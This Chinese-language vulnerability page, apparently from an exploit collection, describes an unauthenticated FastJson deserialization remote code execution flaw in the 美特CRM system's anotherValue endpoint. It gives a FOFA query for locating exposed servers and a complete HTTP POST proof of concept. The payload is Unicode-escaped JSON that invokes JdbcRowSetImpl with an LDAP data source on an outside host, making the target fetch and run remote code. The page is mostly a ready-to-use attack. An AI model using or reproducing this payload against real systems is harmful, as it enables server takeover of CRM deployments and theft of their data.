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31 lines
1.2 KiB
Markdown
31 lines
1.2 KiB
Markdown
# 美特CRM系统接口anotherValue存在FastJson反序列化RCE
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美特CRM anotherValue接口处使用存在漏洞 fastjson 组件，未经身份验证的远程攻击者可通过fastjson 序列化漏洞对美特CRM发起攻击，执行任意代码并可获取服务器权限。
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## fofa
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```
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body="/common/scripts/basic.js"
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```
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## poc
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```
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POST /eai/someValue/anotherValue HTTP/1.1
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Host: ip
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
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Content-Length: 373
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br
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Accept-Language: zh-CN,zh;q=0.9
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Cache-Control: no-cache
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Connection: close
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Content-Type: application/json
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Cookie: JSESSIONID=E010A1A6DED8C9644CFAB420D41F4EB7
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Pragma: no-cache
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Upgrade-Insecure-Requests: 1
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{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://fpwnnkhmfn.dgrh3.cn","autoCommit":true}}
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```
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